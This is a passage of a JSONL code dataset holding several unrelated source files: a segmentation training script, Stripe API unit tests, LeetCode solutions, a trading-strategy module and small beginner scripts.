range(tests_count):\n\ttest = [\"0\"] * (sensors_count + 1)\n\tline = list(map(int, input().split()))\n\tprint(line)\n\ttest[0] = str(line[0])\n\tfor j in line[1:]:\n\t\ttest[j] = \"1\"\n\tf.write(\" \".join(test) + \"\\n\")\n\nf.close()\n","sub_path":"Done Scripts/numToBit.py","file_name":"numToBit.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"496261260","text":"from math import *\r\na = 7\r\nb = 8\r\nc = 14\r\ndodawanie= a + b\r\nprint(dodawanie)\r\nodejmowanie= a - b\r\nprint(odejmowanie)\r\nmnozenie= a * b\r\nprint(mnozenie)\r\ndzielenie= a / c\r\nprint(dzielenie)\r\npow(8,2)\r\nprint(pow)\r\nreszta= 14%7\r\nprint(reszta)\r\n\r\n\r\n","sub_path":"zadanie3.py","file_name":"zadanie3.py","file_ext":"py","file_size_in_byte":244,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"520498252","text":"#=========================================================\n# Developer: Vajira Thambawita\n# Reference: https://github.com/meetshah1995/pytorch-semseg\n#=========================================================\n\n\n\nimport argparse\nfrom datetime import datetime\nimport os\nimport copy\nfrom tqdm import tqdm\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n#Pytorch\nimport torch\nimport torch.optim as optim\nfrom torch.optim import lr_scheduler\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nfrom torchvision import models, transforms,datasets, utils\nfrom torchvision.utils import save_image\nfrom torch.utils.tensorboard import SummaryWriter\nfrom torch.autograd import Variable\nfrom torchsummary import summary\n\nimport segmentation_models_pytorch as smp\n\n\nfrom data.dataset import Dataset\nfrom data.prepare_data import prepare_data, prepare_test_data\n#from data import PolypsDatasetWithGridEncoding\n#from data import PolypsDatasetWithGridEncoding_TestData\nimport pyra_pytorch as pyra\nfrom utils import dice_coeff, iou_pytorch, visualize\n\nimport segmentation_models_pytorch as smp\n\n\n#======================================\n# Get and set all input parameters\n#======================================\n\nparser = argparse.ArgumentParser()\n\n# Hardware\n#parser.add_argument(\"--device\", default=\"gpu\", help=\"Device to run the code\")\nparser.add_argument(\"--device_id\", type=int, default=0, help=\"\")\n\n# Optional parameters to identify the experiments\nparser.add_argument(\"--name\", default=\"\", type=str, help=\"A name to identify this test later\")\nparser.add_argument(\"--py_file\",default=os.path.abspath(__file__)) # store current python file\n\n\n# Directory and file handling\nparser.add_argument(\"--train_CSVs\", \n default=[\"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/C1.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/C2.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/C3.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/C4.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/C5.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq1_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq2_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq3_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq4_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq5_neg.csv\"],\n help=\"CSV file list with image and mask paths\")\n\nparser.add_argument(\"--val_CSVs\",\n default=[\"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq1.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq2.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq3.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq4.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq5.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq6.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq7.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq8.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq9.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq10.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq11.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq12.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq13.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq14.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq15.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq6_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq7_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq8_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq9_neg.csv\",\n \"/work/vajira/data/EndoCV_2021/CSV_file_with_paths_new_v2/seq10_neg.csv\"],\n help=\"CSV file list with image and mask paths\")\n\nparser.add_argument(\"--test_CSVs\",\n default=[\"/work/vajira/data/EndoCV_2021/CSV_file_with_paths/kvasir_seg.csv\"],\n help=\"CSV file list with image and mask paths\")\n\nparser.add_argument(\"--out_dir\", \n default=\"/work/vajira/data/EndoCV_2021/DGX_checkpoints\",\n help=\"Main output dierectory\")\n\nparser.add_argument(\"--tensorboard_dir\", \n default=\"/work/vajira/data/EndoCV_2021/2xx_tensorboard\",\n help=\"Folder to save output of tensorboard\")\n\nparser.add_argument(\"--test_out_dir\",\n default= \"/work/vajira/data/mediaeval2020/test_data_predictions\",\n help=\"Output folder for testing data\"\n) \n\nparser.add_argument(\"--best_checkpoint_name\", type=str, default=\"best_checkpoint.pth\", help=\"A name to save bet checkpoint\")\n\n# Action handling \nparser.add_argument(\"--num_epochs\", type=int, default=1, help=\"Numbe of epochs to train\")\nparser.add_argument(\"--start_epoch\", type=int, default=0, help=\"start epoch of training\")\nparser.add_argument(\"--num_test_samples\", type=int, default=5, help=\"Number of samples to test.\")\n\n# smp parameters\nparser.add_argument(\"--encoder\", type=str, default='se_resnext50_32x4d', help=\"smp encoders\")\nparser.add_argument(\"--encoder_weights\", type=str, default='imagenet', help=\"encoder weights\")\nparser.add_argument(\"--classes\", default=[0,255], help=\"classes per pixel\")\nparser.add_argument(\"--activation\", type=str, default='softmax2d', help=\"last activation layers activation\")\n\n#PYRA\nparser.add_argument(\"--pyra\", type=bool, default=False, help=\"To enable PYRA grid encoding.\")\nparser.add_argument(\"--grid_sizes_train\", type=list, default=[256], help=\"Grid sizes to use in training\")\nparser.add_argument(\"--grid_sizes_val\", type=list, default=[256], help=\"Grid sizes to use in training\")\nparser.add_argument(\"--grid_sizes_test\", type=list, default=[256], help=\"Grid sizes to use in testing\")\nparser.add_argument(\"--in_channels\", type=int, default=3, help=\"Number of input channgels\")\n\n# Parameters\nparser.add_argument(\"--bs\", type=int, default=8, help=\"Mini batch size\")\nparser.add_argument(\"--val_bs\", type=int, default=1, help=\"Batch size\")\nparser.add_argument(\"--lr\", type=float, default=0.0001, help=\"Learning rate for training\")\nparser.add_argument(\"--lr_change_point\", type=int, default=50, help=\"After this point LR will be changed.\")\n\nparser.add_argument(\"--num_workers\", type=int, default=12, help=\"Number of workers in dataloader\")\nparser.add_argument(\"--weight_decay\", type=float, default=1e-5, help=\"weight decay of the optimizer\")\nparser.add_argument(\"--lr_sch_factor\", type=float, default=0.1, help=\"Factor to reduce lr in the scheduler\")\nparser.add_argument(\"--lr_sch_patience\", type=int, default=25, help=\"Num of epochs to be patience for updating lr\")\n\n\nparser.add_argument(\"--num_samples\", type=int, default=5, help=\"Number of samples to print from validation set\")\nparser.add_argument(\"action\", type=str, help=\"Select an action to run\", choices=[\"train\", \"retrain\", \"test\", \"check\"])\nparser.add_argument(\"--checkpoint_interval\", type=int, default=25, help=\"Interval to save checkpoint models\")\n#parser.add_argument(\"--fold\", type=str, default=\"fold_1\", help=\"Select the validation fold\", choices=[\"fold_1\", \"fold_2\", \"fold_3\"])\n#parser.add_argument(\"--num_test\", default= 200, type=int, help=\"Number of samples to test set from 1k dataset\")\n#parser.add_argument(\"--model_path\", default=\"\", help=\"Model path to load weights\")\n#parser.add_argument(\"--num_of_samples\", default=30, type=int, help=\"Number of samples to validate (Montecalo sampling)\")\n\nopt = parser.parse_args()\n\n\n#==========================================\n# Device handling\n#==========================================\ntorch.cuda.set_device(opt.device_id)\nDEVICE = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\nopt.device = DEVICE\n\n#===========================================\n# Folder handling\n#===========================================\n\n#make output folder if not exist\nos.makedirs(opt.out_dir, exist_ok=True)\n\n\n# make subfolder in the output folder \npy_file_name = opt.py_file.split(\"/\")[-1] # Get python file name (soruce code name)\nCHECKPOINT_DIR = os.path.join(opt.out_dir, py_file_name + \"/checkpoints\")\nos.makedirs(CHECKPOINT_DIR, exist_ok=True)\n\n# make tensorboard subdirectory for the experiment\ntensorboard_exp_dir = os.path.join(opt.tensorboard_dir, py_file_name)\nos.makedirs( tensorboard_exp_dir, exist_ok=True)\n\n#==========================================\n# Tensorboard\n#==========================================\n# Initialize summary writer\nwriter = SummaryWriter(tensorboard_exp_dir)\n\n#==========================================\n# Prepare Data\n#==========================================\n\n\n#================================================\n# Train the model\n#================================================\ndef train_model(train_loader, valid_loader, model, loss, metrics, optimizer, opt):\n\n # create epoch runners \n # it is a simple loop of iterating over dataloader`s samples\n train_epoch = smp.utils.train.TrainEpoch(\n model, \n loss=loss, \n metrics=metrics, \n optimizer=optimizer,\n device=DEVICE,\n verbose=True,\n )\n\n valid_epoch = smp.utils.train.ValidEpoch(\n model, \n loss=loss, \n metrics=metrics, \n device=DEVICE,\n verbose=True,\n )\n\n\n\n max_score = 0\n\n best_chk_path = os.path.join(CHECKPOINT_DIR, opt.best_checkpoint_name)\n\n for i in range(opt.start_epoch + 1, opt.start_epoch + opt.num_epochs +1 ):\n \n print('\\nEpoch: {}'.format(i))\n train_logs = train_epoch.run(train_loader)\n valid_logs = valid_epoch.run(valid_loader)\n \n # do something (save model, change lr, etc.)\n if max_score < valid_logs['iou_score']:\n max_score = valid_logs['iou_score']\n torch.save({\"model\":model, \"epoch\": i}, best_chk_path)\n print('Best Model saved!')\n print(\"Testing....\")\n do_test(opt)\n print(\"Tested\")\n\n \n if i == opt.lr_change_point:\n optimizer.param_groups[0]['lr'] = 1e-5\n print('Decrease decoder learning rate to 1e-5!')\n\n # writing to logs to tensorboard\n for key, value in train_logs.items():\n writer.add_scalar(f\"Train/{key}\", value, i)\n\n for key, value in valid_logs.items():\n writer.add_scalar(f\"Valid/{key}\", value, i)\n\n\n \n# update here\n \n\n#==============================================\n# Heatmap generator from tensor\n#==============================================\ndef generate_heatmapts(img_tensor):\n print(img_tensor.shape)\n fig_list = []\n for n in range(img_tensor.shape[0]):\n img = img_tensor[n]\n img = img.squeeze(dim=0)\n img_np = img.detach().cpu().numpy()\n #img_np = np.transforms(img_np, (1,2,0))\n \n plt.imshow(img_np, cmap=\"hot\")\n fig = plt.gcf()\n fig_list.append(fig)\n # plt.clf()\n plt.close()\n\n return fig_list\n\n\n\n#===============================================\n# Prepare models\n#===============================================\ndef prepare_model(opt):\n # model = UNet(n_channels=4, n_classes=1) # 4 = 3 channels + 1 grid encode\n\n # create segmentation model with pretrained encoder\n model = smp.DeepLabV3(\n encoder_name=opt.encoder,\n in_channels=opt.in_channels, \n encoder_weights=opt.encoder_weights, \n classes=len(opt.classes), \n activation=opt.activation,\n )\n\n return model\n\n#====================================\n# Run training process\n#====================================\ndef run_train(opt):\n model = prepare_model(opt)\n\n preprocessing_fn = smp.encoders.get_preprocessing_fn(opt.encoder, opt.encoder_weights)\n\n train_loader, val_loader = prepare_data(opt, preprocessing_fn=None)\n\n loss = smp.utils.losses.DiceLoss(ignore_channels=[0])\n\n metrics = [\n smp.utils.metrics.IoU(threshold=0.5, ignore_channels=[0]),\n ]\n\n optimizer = torch.optim.Adam([ \n dict(params=model.parameters(), lr=opt.lr),\n ])\n\n train_model(train_loader, val_loader, model, loss, metrics, optimizer, opt)\n#====================================\n# Re-train process\n#====================================\ndef run_retrain(opt):\n\n checkpoint_dict = torch.load(os.path.join(CHECKPOINT_DIR, opt.best_checkpoint_name))\n\n opt.start_epoch = checkpoint_dict[\"epoch\"]\n model = checkpoint_dict[\"model\"]\n\n print(\"Model epoch:\", checkpoint_dict[\"epoch\"])\n print(\"Model retrain started from epoch:\", opt.start_epoch)\n\n preprocessing_fn = smp.encoders.get_preprocessing_fn(opt.encoder, opt.encoder_weights)\n\n train_loader, val_loader = prepare_data(opt, preprocessing_fn)\n\n loss = smp.utils.losses.DiceLoss()\n\n metrics = [\n smp.utils.metrics.IoU(threshold=0.5),\n ]\n\n optimizer = torch.optim.Adam([ \n dict(params=model.parameters(), lr=opt.lr),\n ])\n\n train_model(train_loader, val_loader, model, loss, metrics, optimizer, opt)\n\n#=====================================\n# Check model\n#====================================\ndef check_model_graph():\n raise NotImplementedError\n\n\n#===================================\n# Inference from pre-trained models\n#===================================\n\ndef do_test(opt):\n\n\n checkpoint_dict = torch.load(os.path.join(CHECKPOINT_DIR, opt.best_checkpoint_name))\n\n test_epoch = checkpoint_dict[\"epoch\"]\n best_model = checkpoint_dict[\"model\"]\n\n print(\"Model best epoch:\", test_epoch)\n\n preprocessing_fn = smp.encoders.get_preprocessing_fn(opt.encoder, opt.encoder_weights)\n test_dataset = prepare_test_data(opt, preprocessing_fn=None)\n test_dataset_vis = prepare_test_data(opt, preprocessing_fn=None)\n \n \n for i in range(opt.num_test_samples):\n image, mask = test_dataset[i]\n image_vis, _ = test_dataset_vis[i]\n\n #print(image)\n\n mask_tensor = torch.from_numpy(mask).to(opt.device).unsqueeze(0)\n\n image_tensor = torch.from_numpy(image).to(opt.device).unsqueeze(0)\n pr_mask = best_model.predict(image_tensor)\n\n pr_mask = pr_mask.squeeze().cpu().numpy().round()\n\n fig = visualize(\n input_image_new=np.transpose(image_vis, (1,2,0)).astype(int),\n GT_mask_0=mask[0, :,:],\n Pred_mask_0 = pr_mask[0,:,:],\n GT_mask_1= mask[1,:,:],\n Pred_mask_1 = pr_mask[1, :,:]\n )\n\n fig.savefig(f\"./test_202_{i}.png\")\n writer.add_figure(f\"Test_sample/sample-{i}\", fig, global_step=test_epoch)\n\n\n\n\n\ndef check_test_score(opt):\n\n \n\n checkpoint_dict = torch.load(os.path.join(CHECKPOINT_DIR, opt.best_checkpoint_name))\n\n test_best_epoch = checkpoint_dict[\"epoch\"]\n best_model = checkpoint_dict[\"model\"]\n\n print(\"Model best epoch:\", test_best_epoch)\n \n \n\n preprocessing_fn = smp.encoders.get_preprocessing_fn(opt.encoder, opt.encoder_weights)\n test_dataset = prepare_test_data(opt, preprocessing_fn=None)\n \n test_dataloader = DataLoader(test_dataset, num_workers=48)\n\n loss = smp.utils.losses.DiceLoss()\n # Testing with two class layers\n metrics = [\n #smp.utils.metrics.IoU(threshold=0.5),\n smp.utils.metrics.IoU(threshold=0.5, ignore_channels=None),\n ]\n\n test_epoch = smp.utils.train.ValidEpoch(\n model=best_model,\n loss=loss,\n metrics=metrics,\n device=DEVICE,\n )\n\n logs = test_epoch.run(test_dataloader)\n print(\"logs=\", str(logs))\n writer.add_text(f\"{opt.py_file}-test-score\", str(logs), global_step=test_best_epoch)\n\n # Testing with only class layer 1 (polyps)\n loss = smp.utils.losses.DiceLoss(ignore_channels=[0])\n metrics = [\n #smp.utils.metrics.IoU(threshold=0.5),\n smp.utils.metrics.IoU(threshold=0.5, ignore_channels=[0]),\n ]\n\n test_epoch = smp.utils.train.ValidEpoch(\n model=best_model,\n loss=loss,\n metrics=metrics,\n device=DEVICE,\n )\n\n logs = test_epoch.run(test_dataloader)\n print(\"logs=\", str(logs))\n writer.add_text(f\"{opt.py_file}-test-score-ignore-channel-0\", str(logs), global_step=test_best_epoch)\n\n\n\n # Testing with only class layer 0 (BG)\n\n loss = smp.utils.losses.DiceLoss(ignore_channels=[1])\n metrics = [\n #smp.utils.metrics.IoU(threshold=0.5),\n smp.utils.metrics.IoU(threshold=0.5, ignore_channels=[1]),\n ]\n\n test_epoch = smp.utils.train.ValidEpoch(\n model=best_model,\n loss=loss,\n metrics=metrics,\n device=DEVICE,\n )\n\n logs = test_epoch.run(test_dataloader)\n print(\"logs=\", str(logs))\n writer.add_text(f\"{opt.py_file}-test-score-ignore-channel-1\", str(logs), global_step=test_best_epoch)\n\n\n \n\n\nif __name__ == \"__main__\":\n\n #data_loaders = prepare_data()\n print(vars(opt))\n print(\"Test OK\")\n\n # Train or retrain or inference\n if opt.action == \"train\":\n print(\"Training process is strted..!\")\n run_train(opt)\n pass\n\n elif opt.action == \"retrain\":\n print(\"Retrainning process is strted..!\")\n run_retrain(opt)\n pass\n\n elif opt.action == \"test\":\n print(\"Inference process is strted..!\")\n do_test(opt)\n print(\"Done\")\n\n elif opt.action == \"check\":\n check_test_score(opt)\n print(\"Check pass\")\n\n # Finish tensorboard writer\n writer.close()\n\n","sub_path":"deeplabv3.py","file_name":"deeplabv3.py","file_ext":"py","file_size_in_byte":18077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"538159622","text":"import unittest\n\nimport aiostripe\nfrom aiostripe.test.helper import StripeResourceTest, DUMMY_DISPUTE, NOW\n\n\nclass DisputeTest(StripeResourceTest):\n async def test_list_all_disputes(self):\n await aiostripe.Dispute.list(created={'lt': NOW})\n\n self.requestor_mock.request.assert_called_with('get', '/v1/disputes',\n {\n 'created': {'lt': NOW},\n })\n\n async def test_create_dispute(self):\n await aiostripe.Dispute.create(idempotency_key='foo', **DUMMY_DISPUTE)\n\n self.requestor_mock.request.assert_called_with('post', '/v1/disputes',\n DUMMY_DISPUTE, {'Idempotency-Key': 'foo'})\n\n async def test_retrieve_dispute(self):\n await aiostripe.Dispute.retrieve('dp_test_id')\n\n self.requestor_mock.request.assert_called_with('get', '/v1/disputes/dp_test_id',\n {}, None)\n\n async def test_update_dispute(self):\n dispute = aiostripe.Dispute.construct_from({\n 'id': 'dp_update_id',\n 'evidence': {\n 'product_description': 'description',\n },\n }, 'api_key')\n dispute.evidence['customer_name'] = 'customer'\n dispute.evidence['uncategorized_text'] = 'text'\n\n await dispute.save()\n\n self.requestor_mock.request.assert_called_with('post', '/v1/disputes/dp_update_id',\n {\n 'evidence': {\n 'customer_name': 'customer',\n 'uncategorized_text': 'text',\n }\n }, None)\n\n async def test_close_dispute(self):\n dispute = aiostripe.Dispute(id='dp_close_id')\n\n await dispute.close(idempotency_key='foo')\n\n self.requestor_mock.request.assert_called_with('post', '/v1/disputes/dp_close_id/close',\n {}, {'Idempotency-Key': 'foo'})\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"aiostripe/test/resources/test_disputes.py","file_name":"test_disputes.py","file_ext":"py","file_size_in_byte":2381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"618387224","text":"class Solution:\n def PredictTheWinner4(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n n = len(nums)\n dp = [nums[i] for i in range(n)]\n\n for l in range(2, n+1):\n for i in range(n-l+1):\n dp[i] = max(nums[i] - dp[i+1], nums[i+l-1] - dp[i])\n return dp[0] >= 0\n\n def PredictTheWinner3(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n n = len(nums)\n dp = [[-float('inf') for j in range(n)] for i in range(n)]\n for i in range(n):\n dp[i][i] = nums[i]\n for l in range(2, n+1):\n for i in range(n-l+1):\n j = i + l - 1\n dp[i][j] = max(nums[i] - dp[i+1][j], nums[j] - dp[i][j-1])\n return dp[0][n-1] >= 0\n\n def PredictTheWinner2(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n n = len(nums)\n ifcal = [['no' for j in range(n)] for i in range(n)]\n\n def score(numbers, l, r):\n if l == r:\n return numbers[l]\n if ifcal[l][r] == 'no':\n ifcal[l][r] = max(numbers[l] - score(numbers, l + 1, r),\n numbers[r] - score(numbers, l, r - 1))\n return ifcal[l][r]\n\n return score(nums, 0, n-1) >= 0\n\n def PredictTheWinner1(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: bool\n \"\"\"\n n = len(nums)\n\n def score(numbers, l, r):\n if l == r:\n return numbers[l]\n return max(numbers[l] - score(numbers, l+1, r), numbers[r] - score(numbers, l, r-1))\n\n return score(nums, 0, n-1) >= 0\n\n\nif __name__ == '__main__':\n s = Solution()\n print(s.PredictTheWinner4([1,5,233,7]))","sub_path":"LeetCode(Python)/486. Predict the Winner.py","file_name":"486. Predict the Winner.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"246168018","text":"def parse_yaml(input_file):\n \"\"\"Parse yaml file of configuration parameters.\"\"\"\n with open(input_file, \"r\") as yaml_file:\n params = yaml.load(yaml_file)\n return params\n\n\nparams = parse_yaml(\"preprocess_config.yaml\")\n\nROOT = params[\"dirs\"][\"root\"]\n\nDATASET = os.path.join(ROOT, params[\"dirs\"][\"dataset\"])\n\nREORDER = os.path.join(DATASET, params[\"dirs\"][\"reorder\"])\n\nTRAIN = os.path.join(DATASET, params[\"dirs\"][\"train\"])\n\nTEST = os.path.join(DATASET, params[\"dirs\"][\"test\"])\n\nGRIDDED_IMGS = os.path.join(DATASET, params[\"dirs\"][\"gridded_imgs\"])\n\nGRIDDED_LABELS = os.path.join(DATASET, params[\"dirs\"][\"gridded_labels\"])\n\nOPENED = os.path.join(DATASET, params[\"dirs\"][\"opened\"])\n\nINSTANCES = os.path.join(DATASET, params[\"dirs\"][\"instances\"])\n\nRESULTS = os.path.join(\n ROOT, \"../\", params[\"dirs\"][\"results\"], params[\"dirs\"][\"dataset\"]\n)\n\nSOURCE_IMGS = os.path.join(ROOT, params[\"dirs\"][\"source_imgs\"])\n\nSOURCE_LABELS = os.path.join(ROOT, params[\"dirs\"][\"source_labels\"])\n\n# all files, including ones we don't care about\nfile_ids_all = next(os.walk(SOURCE_IMGS))[2]\n# all multispectral on and off season tifs\nimage_ids_all = [\n image_id for image_id in file_ids_all if \"MS\" in image_id and \".aux\" not in image_id\n]\n\n# check for duplicates\nassert len(image_ids_all) == len(set(image_ids_all))\n\nimage_ids_gs = [image_id for image_id in image_ids_all if \"GS\" in image_id]\nimage_ids_os = [image_id for image_id in image_ids_all if \"OS\" in image_id]\n\n# check for equality\nassert len(image_ids_os) == len(image_ids_gs)\n\n# only select growing season images\nimage_ids_short = [image_id[0:9] for image_id in image_ids_gs]\n\nfor imid in image_ids_short:\n load_merge_wv2(imid, WV2_DIR)\n\nimage_list = next(os.walk(REORDERED_DIR))[2]\n","sub_path":"cropmask/tests/data-test.py","file_name":"data-test.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"36972380","text":"# -*- coding: utf8 -*-\nimport numpy as np\n\nfrom quantdigger.kernel.datastruct import Order, Bar\nfrom quantdigger.kernel.engine.exchange import Exchange\nfrom quantdigger.kernel.engine.event import SignalEvent\nfrom quantdigger.kernel.engine.series import NumberSeries, DateTimeSeries\nfrom quantdigger.util import engine_logger as logger\n\nfrom blotter import SimpleBlotter\nfrom event import EventsPool\n\nclass Simulator(object):\n \"\"\"docstring for Simulator\"\"\"\n def __init__(self):\n self.events_pool = EventsPool()\n self.blotter = SimpleBlotter(None, self.events_pool)\n self.exchange = Exchange(self.events_pool, strict=False)\n\n \nclass BarTracker(Simulator):\n def __init__(self, pcontracts, exe):\n \"\"\" 初始化数据列表\n \n 每个Tracker都可能跟踪多个数据。\n 其中第一个合约为@主合约\n Args:\n pcontracts (PContract list): 周期合约列表,长度至少唯一。\n \n \"\"\"\n super(BarTracker, self).__init__()\n self._excution = None\n # 如果一次性给出所有合约,加载可以更快。\n self.pcontracts = pcontracts\n self._series = []\n try:\n self._main_pcontract = self.pcontracts[0]\n self._main_contract = self._main_pcontract.contract\n except KeyError:\n ## @todo 提醒用户用法。\n raise KeyError\n self._container_day = np.zeros(shape=(self.length_day(self._main_pcontract), ), dtype = float)\n exe.add_strategy(self)\n\n def length_day(self, pcontract):\n \"\"\" 计算当天的数据量 \"\"\" \n ## @todo local_data\n return 4\n\n def set_pcontracts(self, pcontracts):\n \"\"\" 在用户类的初始化中可被调用。 \"\"\"\n ## @todo property, set\n self.pcontracts = pcontracts\n\n def prepare_execution(self, exe):\n \"\"\" 数据加载,关键数据变量初始化, 设置执行器。\n \n Args:\n exe (ExecuteUnit): 执行器。\n \n \"\"\"\n self._excution = exe\n for pcontract in self.pcontracts:\n self.get_data(pcontract)\n self._init_main_data(self._main_pcontract)\n\n\n @property\n def container_day(self):\n return self._container_day\n\n def _init_main_data(self, pcontract):\n data = self.get_data(pcontract)\n # 预留了历史和当天的数据空间。\n self.open = NumberSeries(self, data.open, True)\n self.close = NumberSeries(self, data.close, True)\n self.high = NumberSeries(self, data.high, True)\n self.low = NumberSeries(self, data.low, True)\n self.volume = NumberSeries(self, data.volume, True)\n self.datetime = DateTimeSeries(self, data.index, True)\n self.curbar = 0\n\n def get_data(self, pcontract):\n return self._excution.load_data(pcontract)\n\n def on_tick(self):\n \"\"\"\"\"\" \n pass\n\n def execute_strategy(self):\n self.on_tick()\n\n def add_series(self, series):\n self._series.append(series)\n\n\nclass TradingStrategy(BarTracker):\n \"\"\"docstring for TradingStrategy\"\"\"\n def __init__(self, pcontracts, exe):\n super(TradingStrategy, self).__init__(pcontracts, exe)\n self._indicators = []\n self._orders = []\n\n def add_indicator(self, indic):\n self._indicators.append(indic)\n\n def update_curbar(self, index):\n \"\"\" 更新当前bar索引。\n\n 更新注册过的serie变量的索引,\n 计算系列指标中的最新值。\n \n Args:\n index (int): 当前bar索引。\n \n Raises:\n SeriesIndexError\n \"\"\"\n self.curbar = index\n self.open.update_curbar(index)\n self.close.update_curbar(index)\n self.high.update_curbar(index)\n self.low.update_curbar(index)\n self.volume.update_curbar(index)\n self.datetime.update_curbar(index)\n\n for serie in self._series:\n serie.update_curbar(index)\n serie.duplicate_last_element()\n\n for indicator in self._indicators:\n indicator.calculate_latest_element()\n return Bar(self.datetime[0],\n self.open[0], self.close[0],\n self.high[0], self.low[0],\n self.volume[0])\n\n def execute_strategy(self):\n self.on_tick()\n if self._orders:\n self.generate_signals_event()\n self._orders = []\n\n def generate_signals_event(self):\n self.events_pool.put(SignalEvent(self._orders))\n\n def buy(self, direction, price, quantity, deal_type='limit'):\n \"\"\" 开仓\n \n Args:\n direction (str): 多头('d'), 或者空头('k')\n quantity (int): 数量\n price (float): 价格\n deal_type (str): 下单方式,限价单('limit'), 市价单('market')\n \"\"\"\n self._orders.append(Order(\n self.datetime,\n self._main_contract,\n deal_type,\n 'k',\n direction,\n float(price),\n quantity\n ))\n\n def sell(self, direction, price, quantity, deal_type='limit'):\n \"\"\" 平仓\n \n Args:\n direction (str): 多头('d'), 或者空头('k')\n quantity (int): 数量\n price (float): 价格\n deal_type (str): 下单方式,限价单('limit'), 市价单('market')\n \"\"\"\n self._orders.append(Order(\n self.datetime,\n self._main_contract,\n deal_type,\n 'p',\n direction,\n float(price),\n quantity\n ))\n\n def position(self, contract=None):\n \"\"\" 当前仓位。 \"\"\"\n try:\n if not contract:\n contract = self._main_contract\n return self.blotter.current_positions[contract].total\n except KeyError:\n return 0\n\n def cash(self):\n \"\"\" 现金。 \"\"\"\n return self.blotter.current_holdings['cash']\n\n\nfrom quantdigger.kernel.datastruct import PContract, Contract, Period\ndef pcontract(exchange, contract, time_unit, unit_count):\n \"\"\" 构建周期合约结构的便捷方式。\n \n Args:\n exchange (str): 交易所\n contract (str): 合约\n time_unit (str): 时间单位\n unit_count (int): 时间数目\n \n Returns:\n PContract. 周期合约\n \"\"\"\n return PContract(Contract(exchange, contract),\n Period(time_unit, unit_count))\n\ndef stock(code):\n \"\"\" 构建周期合约结构的便捷方式。\n \n Args:\n code (str): 股票代码\n \n Returns:\n PContract. 周期合约\n \"\"\"\n return PContract(Contract('stock', code),\n Period('Days', 1))\n","sub_path":"quantdigger/kernel/engine/strategy.py","file_name":"strategy.py","file_ext":"py","file_size_in_byte":6851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"434150269","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.optim as optim\r\nfrom torch import Tensor\r\nfrom torch.optim.lr_scheduler import StepLR\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport torch.nn.functional as F\r\nimport scipy.io as scio\r\nimport time\r\nimport os\r\n\r\nos.environ['CUDA_VISIBLE_DEVICES'] = '3'\r\ntorch.set_default_dtype(torch.float32)\r\n\r\ntorch.manual_seed(66)\r\nnp.random.seed(66)\r\n\r\nlap_2d_op = [[[[ 0, 0, -1/12, 0, 0],\r\n [ 0, 0, 4/3, 0, 0],\r\n [-1/12, 4/3, - 5, 4/3, -1/12],\r\n [ 0, 0, 4/3, 0, 0],\r\n [ 0, 0, -1/12, 0, 